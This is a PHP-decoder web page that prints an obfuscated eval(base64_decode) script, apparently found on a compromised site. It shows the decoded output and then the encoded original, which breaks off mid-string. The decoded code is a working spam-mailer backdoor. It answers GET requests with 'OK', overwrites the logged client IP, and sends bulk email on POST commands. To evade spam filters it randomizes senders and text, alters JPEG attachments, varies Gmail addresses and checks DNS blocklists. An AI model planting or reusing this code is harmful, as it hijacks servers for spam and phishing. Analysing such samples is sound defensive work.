Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $txnra='base6'.'4_d'.'ecod'.'e'; @eval($txnra('QGVycm9yX3JlcG9ydGluZygwKTtAc2V0X3R..

Decoded Output download

@error_reporting(0);@set_time_limit(150);@ignore_user_abort(true);#zewadgsg
@ini_set('max_execution_time',150);###hoxaaqdkgz
if($_SERVER['REQUEST_METHOD']=='GET'){###frrybuiil
exit('OK');}$randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);###giiolkpypn
#tncotzgs
$compare=$_SERVER['REMOTE_ADDR'];while($key=key($_SERVER)){if($_SERVER[$key]==$compare){###ygmfco
@$_SERVER[$key]=$randString;###bjpuqw
}next($_SERVER);}if(isset($_POST['ch'])===true){#jhcarsx
Check(); exit;}if(isset($_POST['sn'])===true){Send(); exit;}function Send(){$replyto=urldecode($_POST['rpt']);if(strstr($replyto,'|')){$rand=explode('|',$replyto);//vsabvp
$replyto=$rand[array_rand($rand)];###beqfna
}//pmctwbfcsl
$replyto=check_gmail($replyto);//qqk
$emails=urldecode($_POST['em']);###aegclnwk
$ex=explode("
",$emails);#smb
if(!is_file($_FILES['file']['tmp_name'])){for($c=0,$max=sizeof($ex);$c<$max;$c++){$data=explode('|',trim($ex[$c]));$r_from=Random(dataHandler($_POST['f']),$data);$r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];///pjizyntod
$r_subject=str_ireplace('[from:]',$r_from,$r_subject);$r_subject=str_ireplace('[email:]',$data[0],$r_subject);//xwyutjue
$r_subject=Random($r_subject,$data);$r_message=str_ireplace('[from:]',$r_from,$r_message);$r_message=str_ireplace('[email:]',$data[0],$r_message);///mvzodwelmu
$r_message=Random($r_message,$data);#niz
$from_name=randText();///fhyjwyckec
if($replyto==''){//jethpt
$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];//bnkibjcdvs
}else{$reply=$replyto;}if(!SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){print '*send:bad*'; exit;}}}else{for($c=0,$max=sizeof($ex);$c<$max;$c++){#zba
$data=explode('|',trim($ex[$c]));$r_from=Random(dataHandler(urldecode($_POST['f'])),$data);$r_subject=dataHandler(urldecode($_POST['s']));$r_message=urldecode($_POST['m']);$r_subject=str_ireplace('[from:]',$r_from,$r_subject);$r_subject=str_ireplace('[email:]',$data[0],$r_subject);$r_subject=Random($r_subject,$data);//iwd
$r_message=str_ireplace('[from:]',$r_from,$r_message);//cipn
$r_message=str_ireplace('[email:]',$data[0],$r_message);###entc
$r_message=Random($r_message,$data);###gvlfmplmj
$from_name=randText();///fmecp
if($replyto==''){$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];//haxangtfsb
}else{#pbgvkcajn
$reply=$replyto;}if(!SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){print '*send:bad*'; exit;#yvjhctxph
}//tpvlufgjtd
}}//ejxifsbphk
print '*send:ok*'; exit;}//pohu
function SMail($to,$from,$message,$subject,$replyto,$from_name){if($_POST['tp']=='1'){ $type='text/html'; }#eowgswjevb
else{ $type='text/plain'; }$header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">
";$header.='MIME-Version: 1.0'."
";$header.='Content-Type: '.$type.'; charset="utf-8"'."
";$header.='Reply-To: '.$replyto."
";###bci
$header.='X-Mailer: PHP/'.phpversion();if(mail($to,$subject,$message,$header)){//ozticdpa
return true;//inj
}return false;#ufrw
}//mpsorhhm
function SendAttach($to,$from,$message,$subject,$replyto,$from_name){//pwjok
$boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);if($_POST['tp']=='1'){ $type='text/html'; }else{ $type='text/plain'; }#tshqvxz
$filename=filename($_FILES['file']['name']);$headers='MIME-Version: 1.0'."
";$headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";$headers.='Reply-To: '.$replyto."
";$headers.='X-Mailer: PHP/'.phpversion()."
";$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"

";$body='--'.$boundary."
";$body.='Content-Type: '.$type.'; charset="utf-8"'."
";///qml
$body.='Content-Transfer-Encoding: base64'."

";///bgksze
$body.=chunk_split(base64_encode($message));$body.= '--'.$boundary."
";$body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."
";///jmialgiayt
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";$body.='Content-Transfer-Encoding: base64'."
";$body.='X-Attachment-Id: '.rand(1000,99999)."

";$body.=chunk_split(base64_encode($fileString));///nlh
if(mail($to,$subject,$body,$headers)){###ekmh
return true;}return false;#yvbjweei
}function dataHandler($data){$ex=explode("
",$data);///npviwwaz
if(sizeof($ex)>1){return trim($ex[rand(0,sizeof($ex)-1)]);}return trim($data);}function Random($text,$data){preg_match_all('#\[num:(.+?)\]#is',$text,$result2); $i=0;preg_match_all('#\[randM:(.+?)\]#is',$text,$result3); $q=0;preg_match_all('#\[randstr:(.+?)\]#is',$text,$result4); $w=0;//kfwnoeiec
preg_match_all('#\[var:(.+?)\]#is',$text,$result5); $e=0;###fzbicvf
while($i<sizeof($result2[1])){$rand=explode('|',$result2[1][$i]);if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }$rand=rand($rand[0],$rand[1]);$text=str_replace_once($result2[0][$i],$rand,$text); $i++;///dswgpaj
}#ntadnizzru
while($q<sizeof($result3[1])){///lez
$rand=explode('|',$result3[1][$q]);#lciedngncf
$rand=$rand[array_rand($rand)];$text=str_replace($result3[0][$q],$rand,$text); $q++;}###jmpcfrnyy
while($w<sizeof($result4[1])){$rand=explode('|',$result4[1][$w]);if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }###bjycytklu
$rand=randString($rand[0],$rand[1]);$text=str_replace_once($result4[0][$w],$rand,$text); $w++;#mss
}///xsvk
while($e<sizeof($result5[1])){//pvpy
if(!is_numeric($result5[1][$e])){ continue; }///clfeenywp
$text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;}preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;//plfc
while($c<sizeof($result[1])){$rand=explode('|',$result[1][$c]);$rand=$rand[array_rand($rand)];///ukamtfw
$text=str_replace_once($result[0][$c],$rand,$text); $c++;}#xhl
return $text;///opsuwjqr
}function Check(){$crlf="
";//zlobs
///taudqee
if(isset($_POST['st'])===true){###gyhkufs
print '*valid:ok*'.$crlf;}if(isset($_POST['m'])===true){///otzzkrhti
if(function_exists('mail')){///fvp
$ex=explode(':',$_POST['m']);///jfuvqks
$email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];$from_name=randText();$replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];if($reply=='1'){ $replyto=$email; }#awvmutnk
if($attach=='1'){if(CheckAttach($email,$replyto,$from_name)){print '*mail:ok*'.$crlf;}else{print '*mail:bad*'.$crlf;}}else{if(CheckMail($email,$replyto,$from_name)){print '*mail:ok*'.$crlf;}else{print '*mail:bad*'.$crlf;}}}else{print '*mail:bad*'.$crlf;}}if(isset($_POST['rb'])===true){$rbl=rbl();///xkmvgmr
if($rbl==''){print '*rbl:ok*';}else{///syu
print '*rbl:'.$rbl.'*';//uwtwli
}}}function randString($min,$max){###prudc
$str='qwertyuiopasdfghjklzxcvbnm';$size=rand($min,$max); $result='';//bohfx
for($c=0;$c<$size;$c++){$result.=$str{rand(0,strlen($str)-1)};}return $result;}#rrn
###njmsdtzn
function rbl(){$dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');$ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';###ooppqf
///gepmlb
if($ip){###wqvxmrbc
$rip=implode('.',array_reverse(explode('.',$ip)));//nha
foreach($dnsbl_check as $val){if(checkdnsrr($rip.'.'.$val.'.','A'))$result.=$val.', ';//muhn
}###qpkwudq
if(strlen($result)>2){ return substr($result,0,-2); }///ner
else{ return ''; }}else{///oumgyyrtt
return '*rbl:unknown*';}return '';//kdnlvi
}function CheckMail($to,$reply,$from_name){//pjmy
$header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">
";$header.='MIME-Version: 1.0'."
";$header.='Content-Type: text/html; charset="utf-8"'."
";#jghuap
$header.='Reply-To: '.$reply."
";///wzynwxv
$header.='X-Mailer: PHP/'.phpversion();///chawgj
$message=text();$subject=$_SERVER['HTTP_HOST'];###umqjcjs
if(mail($to,$subject,$message,$header)){return true;###affv
}return false;}###qmzwjdkv
function CheckAttach($to,$reply,$from_name){$message=text();#nkwri
$subject=$_SERVER['HTTP_HOST'];###bglv
$filename=filename('1.txt'); $boundary=md5(uniqid());$headers='MIME-Version: 1.0'."
";$headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";#iofzqaylbf
$headers.='Reply-To: '.$reply."
";$headers.='X-Mailer: PHP/'.phpversion()."
";$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"

";$body='--'.$boundary."
";///tqtlz
$body.='Content-Type: text/html; charset="utf-8"'."
";$body.='Content-Transfer-Encoding: base64'."

";#egcpbprnzo
$body.=chunk_split(base64_encode($message));///dwvafkkl
$body.= '--'.$boundary."
";#pwyurxedls
$body.='Content-Type: text/plain; name="'.$filename.'"'."
";//ivxqpcvzpg
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";$body.='Content-Transfer-Encoding: base64'."
";$body.='X-Attachment-Id: '.rand(1000,99999)."

";$body.= chunk_split(base64_encode(text()));###cxse
if(mail($to,$subject,$body,$headers)){return true;///qgvmczxv
}###miiwghfic
return false;}//jssusm
function str_replace_once($search,$replace,$text){///ykncazxkw
$pos=strpos($text, $search);return $pos!==false ? substr_replace($text,$replace,$pos,strlen($search)) : $text;#slklrkt
}//hemamte
function filename($name){$format=end(explode('.',$name));###tljsommzk
$array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';///jgaug
$img=array('png','jpg','gif','jpeg','bmp');///heof
for($c=0,$max=sizeof($img);$c<$max;$c++){if(strtolower($format)==$img[$c]){$rand=rand(10,999999);return $array[rand(0,4)].$rand.'.'.$format;}}#sane
return randText().'.'.$format;///qsximz
}###yzlzc
function fileString($name){###ennfpbjsi
$format=end(explode('.',$name));if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){if(CheckRandIMG()){###ozfmezzxdg
return RandIMG($_FILES['file']['tmp_name']);//rixecrmsg
}}###muximiiwqq
return file_get_contents($_FILES['file']['tmp_name']);###bzqq
}function randText(){$str='qwertyuiopasdfghjklzxcvbnm';$size=rand(3,8); $result='';#ivqtcu
for($c=0;$c<$size;$c++){$result.=$str{rand(0,strlen($str)-1)};}return $result;#srcqo
}function text(){$str='qwertyuiopasdfghjklzxcvbnm';$size=rand(9,20); $result='';for($c=0;$c<$size;$c++){$rand=rand(6,10);for($i=0;$i<$rand;$i++){$result.=$str{rand(0,strlen($str)-1)};#oafrj
}$sign=array(' ',' ',' ',' ',', ','? ','. ','. ');$result.=$sign[rand(0,7)];}return trim($result);}function CheckRandIMG(){$array=array('getimagesize','imagecreatetruecolor',###nozqtdqrff
'imagecreatefromjpeg','imagecopyresampled','imagefilter','ob_start',///busknhx
'imagejpeg','ob_get_clean'//urahva
);#vmslxprxnq
###ndwxtuiapk
for($c=0,$max=sizeof($array);$c<$max;$c++){if(!function_exists($array[$c])){return false;}###dfeyosoe
}//erkgtdls
return true;}//fbk
function RandIMG($file){//jpbwkqs
$rand['width']=rand(1,2);$rand['height']=rand(1,2);$rand['quality']=rand(1,2);$rand['brightness']=rand(1,2);$rand['contrast']=rand(1,2);list($width,$height)=getimagesize($file);#bqhlal
if($rand['width']==1){#rjh
$sign=rand(1,2);if($sign==1){///fuzkavmy
$new_width=$width+rand(1,10);#odh
}else{$new_width=$width-rand(1,10);}}else{$new_width=$width;}if($rand['height']==1){$sign=rand(1,2);if($sign==1){$new_height=$height+rand(1,10);}else{///bjjsbpeiue
$new_height=$height-rand(1,10);}///vsabollrj
}else{$new_height=$height;}if($rand['quality']==1){$quality=75;#orgzqnvotn
}else{$quality=rand(65,105);///oyuugmmlh
}if($rand['brightness']==1){$brightness=rand(0,35);}else{$brightness=0;}if($rand['contrast']==1){$sign=rand(1,2);if($sign==1){ $sign='+'; }else{ $sign='-'; }///rnpquf
$contrast=rand(1,15);}else{#pxrjqkjmpu
$sign='';$contrast=0;///icf
}//karkdke
$image_p=imagecreatetruecolor($new_width,$new_height);$image=imagecreatefromjpeg($file);imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);###tonfgbgevk
imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);ob_start();///zgfrltjpi
imagejpeg($image_p,null,$quality);//rrldwuw
$out=ob_get_clean();imagedestroy($image_p);return $out;###ktdfbww
}function check_gmail($email){if(strstr($email,'@gmail.')){return RandGmail($email);###luzvnyn
}else{return $email;}}///qottclw
function RandGmail($email){$login=explode('@',$email); $result='';///zffouxerl
$login=strtolower(str_replace('.','',$login[0]));$size=strlen($login);///qzsqwhyvoi
for($c=0,$max=$size;$c<$max;$c++){#yrh
$up=rand(0,1); $dot=rand(0,1);///gmuvwts
$symbol=$login{$c};///dxrlkdm
#jhbuparbn
if($up==1){$symbol=strtoupper($symbol);}if($dot==1){$symbol=$symbol.'.';//slnm
}$result.=$symbol;}###ctujcvfwyn
if(substr($result,-1)=='.'){$result=substr($result,0,-1);}return $result.'@gmail.com';}###jqjgqcitzl
###brzzkcmjqe

Did this file decode correctly?

Original Code


<?php $txnra='base6'.'4_d'.'ecod'.'e'; @eval($txnra('QGVycm9yX3JlcG9ydGluZygwKTtAc2V0X3RpbWVfbGltaXQoMTUwKTtAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7I3pld2FkZ3NnDQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywxNTApOyMjI2hveGFhcWRrZ3oNCmlmKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddPT0nR0VUJyl7IyMjZnJyeWJ1aWlsDQpleGl0KCdPSycpO30kcmFuZFN0cmluZz1yYW5kKDEsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KTsjIyNnaWlvbGtweXBuDQojdG5jb3R6Z3MKJGNvbXBhcmU9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107d2hpbGUoJGtleT1rZXkoJF9TRVJWRVIpKXtpZigkX1NFUlZFUlska2V5XT09JGNvbXBhcmUpeyMjI3lnbWZjbwpAJF9TRVJWRVJbJGtleV09JHJhbmRTdHJpbmc7IyMjYmpwdXF3Cn1uZXh0KCRfU0VSVkVSKTt9aWYoaXNzZXQoJF9QT1NUWydjaCddKT09PXRydWUpeyNqaGNhcnN4CkNoZWNrKCk7IGV4aXQ7fWlmKGlzc2V0KCRfUE9TVFsnc24nXSk9PT10cnVlKXtTZW5kKCk7IGV4aXQ7fWZ1bmN0aW9uIFNlbmQoKXskcmVwbHl0bz11cmxkZWNvZGUoJF9QT1NUWydycHQnXSk7aWYoc3Ryc3RyKCRyZXBseXRvLCd8JykpeyRyYW5kPWV4cGxvZGUoJ3wnLCRyZXBseXRvKTsvL3ZzYWJ2cA0KJHJlcGx5dG89JHJhbmRbYXJyYXlfcmFuZCgkcmFuZCldOyMjI2JlcWZuYQ0KfS8vcG1jdHdiZmNzbAokcmVwbHl0bz1jaGVja19nbWFpbCgkcmVwbHl0byk7Ly9xcWsNCiRlbWFpbHM9dXJsZGVjb2RlKCRfUE9TVFsnZW0nXSk7IyMjYWVnY2xud2sKJGV4PWV4cGxvZGUoIlxuIiwkZW1haWxzKTsjc21iDQppZighaXNfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXtmb3IoJGM9MCwkbWF4PXNpemVvZigkZXgpOyRjPCRtYXg7JGMrKyl7JGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7JHJfZnJvbT1SYW5kb20oZGF0YUhhbmRsZXIoJF9QT1NUWydmJ10pLCRkYXRhKTskcl9zdWJqZWN0PWRhdGFIYW5kbGVyKCRfUE9TVFsncyddKTsgJHJfbWVzc2FnZT0kX1BPU1RbJ20nXTsvLy9waml6eW50b2QNCiRyX3N1YmplY3Q9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX3N1YmplY3QpOyRyX3N1YmplY3Q9c3RyX2lyZXBsYWNlKCdbZW1haWw6XScsJGRhdGFbMF0sJHJfc3ViamVjdCk7Ly94d3l1dGp1ZQokcl9zdWJqZWN0PVJhbmRvbSgkcl9zdWJqZWN0LCRkYXRhKTskcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9tZXNzYWdlKTskcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOy8vL212em9kd2VsbXUKJHJfbWVzc2FnZT1SYW5kb20oJHJfbWVzc2FnZSwkZGF0YSk7I25peg0KJGZyb21fbmFtZT1yYW5kVGV4dCgpOy8vL2ZoeWp3eWNrZWMNCmlmKCRyZXBseXRvPT0nJyl7Ly9qZXRocHQKJHJlcGx5PSRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsvL2Jua2liamNkdnMNCn1lbHNleyRyZXBseT0kcmVwbHl0bzt9aWYoIVNNYWlsKCRkYXRhWzBdLCRyX2Zyb20sJHJfbWVzc2FnZSwkcl9zdWJqZWN0LCRyZXBseSwkZnJvbV9uYW1lKSl7cHJpbnQgJypzZW5kOmJhZConOyBleGl0O319fWVsc2V7Zm9yKCRjPTAsJG1heD1zaXplb2YoJGV4KTskYzwkbWF4OyRjKyspeyN6YmENCiRkYXRhPWV4cGxvZGUoJ3wnLHRyaW0oJGV4WyRjXSkpOyRyX2Zyb209UmFuZG9tKGRhdGFIYW5kbGVyKHVybGRlY29kZSgkX1BPU1RbJ2YnXSkpLCRkYXRhKTskcl9zdWJqZWN0PWRhdGFIYW5kbGVyKHVybGRlY29kZSgkX1BPU1RbJ3MnXSkpOyRyX21lc3NhZ2U9dXJsZGVjb2RlKCRfUE9TVFsnbSddKTskcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTskcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX3N1YmplY3QpOyRyX3N1YmplY3Q9UmFuZG9tKCRyX3N1YmplY3QsJGRhdGEpOy8vaXdkCiRyX21lc3NhZ2U9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX21lc3NhZ2UpOy8vY2lwbgokcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOyMjI2VudGMNCiRyX21lc3NhZ2U9UmFuZG9tKCRyX21lc3NhZ2UsJGRhdGEpOyMjI2d2bGZtcGxtag0KJGZyb21fbmFtZT1yYW5kVGV4dCgpOy8vL2ZtZWNwCmlmKCRyZXBseXRvPT0nJyl7JHJlcGx5PSRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsvL2hheGFuZ3Rmc2IKfWVsc2V7I3BiZ3ZrY2FqbgokcmVwbHk9JHJlcGx5dG87fWlmKCFTZW5kQXR0YWNoKCRkYXRhWzBdLCRyX2Zyb20sJHJfbWVzc2FnZSwkcl9zdWJqZWN0LCRyZXBseSwkZnJvbV9uYW1lKSl7cHJpbnQgJypzZW5kOmJhZConOyBleGl0OyN5dmpoY3R4cGgNCn0vL3Rwdmx1ZmdqdGQNCn19Ly9lanhpZnNicGhrDQpwcmludCAnKnNlbmQ6b2sqJzsgZXhpdDt9Ly9wb2h1CmZ1bmN0aW9uIFNNYWlsKCR0bywkZnJvbSwkbWVzc2FnZSwkc3ViamVjdCwkcmVwbHl0bywkZnJvbV9uYW1lKXtpZigkX1BPU1RbJ3RwJ109PScxJyl7ICR0eXBlPSd0ZXh0L2h0bWwnOyB9I2Vvd2dzd2pldmINCmVsc2V7ICR0eXBlPSd0ZXh0L3BsYWluJzsgfSRoZWFkZXI9J0Zyb206ID0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUoJGZyb20pLic/PSA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj5cclxuIjskaGVhZGVyLj0nTUlNRS1WZXJzaW9uOiAxLjAnLiJcclxuIjskaGVhZGVyLj0nQ29udGVudC1UeXBlOiAnLiR0eXBlLic7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOyRoZWFkZXIuPSdSZXBseS1UbzogJy4kcmVwbHl0by4iXHJcbiI7IyMjYmNpCiRoZWFkZXIuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpO2lmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXIpKXsvL296dGljZHBhDQpyZXR1cm4gdHJ1ZTsvL2luag0KfXJldHVybiBmYWxzZTsjdWZydw0KfS8vbXBzb3JoaG0KZnVuY3Rpb24gU2VuZEF0dGFjaCgkdG8sJGZyb20sJG1lc3NhZ2UsJHN1YmplY3QsJHJlcGx5dG8sJGZyb21fbmFtZSl7Ly9wd2pvawokYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsgJGZpbGVTdHJpbmc9ZmlsZVN0cmluZygkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7aWYoJF9QT1NUWyd0cCddPT0nMScpeyAkdHlwZT0ndGV4dC9odG1sJzsgfWVsc2V7ICR0eXBlPSd0ZXh0L3BsYWluJzsgfSN0c2hxdnh6DQokZmlsZW5hbWU9ZmlsZW5hbWUoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOyRoZWFkZXJzPSdNSU1FLVZlcnNpb246IDEuMCcuIlxyXG4iOyRoZWFkZXJzLj0nRnJvbTogPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZSgkZnJvbSkuJz89IDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nPicuIlxyXG4iOyRoZWFkZXJzLj0nUmVwbHktVG86ICcuJHJlcGx5dG8uIlxyXG4iOyRoZWFkZXJzLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKS4iXHJcbiI7JGhlYWRlcnMuPSdDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IicuJGJvdW5kYXJ5LiJcIlxyXG5cclxuIjskYm9keT0nLS0nLiRib3VuZGFyeS4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVR5cGU6ICcuJHR5cGUuJzsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7Ly8vcW1sCiRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcblxyXG4iOy8vL2Jna3N6ZQokYm9keS49Y2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkbWVzc2FnZSkpOyRib2R5Lj0gJy0tJy4kYm91bmRhcnkuIlxyXG4iOyRib2R5Lj0nQ29udGVudC1UeXBlOiAnLiRfRklMRVNbJ2ZpbGUnXVsndHlwZSddLic7IG5hbWU9IicuJGZpbGVuYW1lLiciJy4iXHJcbiI7Ly8vam1pYWxnaWF5dAokYm9keS49J0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOyRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7JGJvZHkuPSdYLUF0dGFjaG1lbnQtSWQ6ICcucmFuZCgxMDAwLDk5OTk5KS4iXHJcblxyXG4iOyRib2R5Lj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRmaWxlU3RyaW5nKSk7Ly8vbmxoDQppZihtYWlsKCR0bywkc3ViamVjdCwkYm9keSwkaGVhZGVycykpeyMjI2VrbWgNCnJldHVybiB0cnVlO31yZXR1cm4gZmFsc2U7I3l2Ymp3ZWVpCn1mdW5jdGlvbiBkYXRhSGFuZGxlcigkZGF0YSl7JGV4PWV4cGxvZGUoIlxuIiwkZGF0YSk7Ly8vbnB2aXd3YXoKaWYoc2l6ZW9mKCRleCk+MSl7cmV0dXJuIHRyaW0oJGV4W3JhbmQoMCxzaXplb2YoJGV4KS0xKV0pO31yZXR1cm4gdHJpbSgkZGF0YSk7fWZ1bmN0aW9uIFJhbmRvbSgkdGV4dCwkZGF0YSl7cHJlZ19tYXRjaF9hbGwoJyNcW251bTooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0Mik7ICRpPTA7cHJlZ19tYXRjaF9hbGwoJyNcW3JhbmRNOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQzKTsgJHE9MDtwcmVnX21hdGNoX2FsbCgnI1xbcmFuZHN0cjooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0NCk7ICR3PTA7Ly9rZndub2VpZWMKcHJlZ19tYXRjaF9hbGwoJyNcW3ZhcjooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0NSk7ICRlPTA7IyMjZnpiaWN2Zg0Kd2hpbGUoJGk8c2l6ZW9mKCRyZXN1bHQyWzFdKSl7JHJhbmQ9ZXhwbG9kZSgnfCcsJHJlc3VsdDJbMV1bJGldKTtpZighaXNfbnVtZXJpYygkcmFuZFswXSkgb3IgIWlzX251bWVyaWMoJHJhbmRbMV0pKXsgY29udGludWU7IH0kcmFuZD1yYW5kKCRyYW5kWzBdLCRyYW5kWzFdKTskdGV4dD1zdHJfcmVwbGFjZV9vbmNlKCRyZXN1bHQyWzBdWyRpXSwkcmFuZCwkdGV4dCk7ICRpKys7Ly8vZHN3Z3Bhag0KfSNudGFkbml6enJ1DQp3aGlsZSgkcTxzaXplb2YoJHJlc3VsdDNbMV0pKXsvLy9sZXoKJHJhbmQ9ZXhwbG9kZSgnfCcsJHJlc3VsdDNbMV1bJHFdKTsjbGNpZWRuZ25jZgokcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07JHRleHQ9c3RyX3JlcGxhY2UoJHJlc3VsdDNbMF1bJHFdLCRyYW5kLCR0ZXh0KTsgJHErKzt9IyMjam1wY2Zybnl5DQp3aGlsZSgkdzxzaXplb2YoJHJlc3VsdDRbMV0pKXskcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0NFsxXVskd10pO2lmKCFpc19udW1lcmljKCRyYW5kWzBdKSBvciAhaXNfbnVtZXJpYygkcmFuZFsxXSkpeyBjb250aW51ZTsgfSMjI2JqeWN5dGtsdQ0KJHJhbmQ9cmFuZFN0cmluZygkcmFuZFswXSwkcmFuZFsxXSk7JHRleHQ9c3RyX3JlcGxhY2Vfb25jZSgkcmVzdWx0NFswXVskd10sJHJhbmQsJHRleHQpOyAkdysrOyNtc3MNCn0vLy94c3ZrCndoaWxlKCRlPHNpemVvZigkcmVzdWx0NVsxXSkpey8vcHZweQppZighaXNfbnVtZXJpYygkcmVzdWx0NVsxXVskZV0pKXsgY29udGludWU7IH0vLy9jbGZlZW55d3ANCiR0ZXh0PXN0cl9yZXBsYWNlKCRyZXN1bHQ1WzBdWyRlXSwkZGF0YVskcmVzdWx0NVsxXVskZV1dLCR0ZXh0KTsgJGUrKzt9cHJlZ19tYXRjaF9hbGwoJyNcW3JhbmQ6KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdCk7ICRjPTA7Ly9wbGZjDQp3aGlsZSgkYzxzaXplb2YoJHJlc3VsdFsxXSkpeyRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHRbMV1bJGNdKTskcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07Ly8vdWthbXRmdwokdGV4dD1zdHJfcmVwbGFjZV9vbmNlKCRyZXN1bHRbMF1bJGNdLCRyYW5kLCR0ZXh0KTsgJGMrKzt9I3hobApyZXR1cm4gJHRleHQ7Ly8vb3BzdXdqcXIKfWZ1bmN0aW9uIENoZWNrKCl7JGNybGY9IlxyXG4iOy8vemxvYnMKLy8vdGF1ZHFlZQppZihpc3NldCgkX1BPU1RbJ3N0J10pPT09dHJ1ZSl7IyMjZ3loa3Vmcw0KcHJpbnQgJyp2YWxpZDpvayonLiRjcmxmO31pZihpc3NldCgkX1BPU1RbJ20nXSk9PT10cnVlKXsvLy9vdHp6a3JodGkNCmlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKXsvLy9mdnAKJGV4PWV4cGxvZGUoJzonLCRfUE9TVFsnbSddKTsvLy9qZnV2cWtzCiRlbWFpbD0kZXhbMF07ICRhdHRhY2g9JGV4WzFdOyAkcmVwbHk9JGV4WzJdOyRmcm9tX25hbWU9cmFuZFRleHQoKTskcmVwbHl0bz0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107aWYoJHJlcGx5PT0nMScpeyAkcmVwbHl0bz0kZW1haWw7IH0jYXd2bXV0bmsNCmlmKCRhdHRhY2g9PScxJy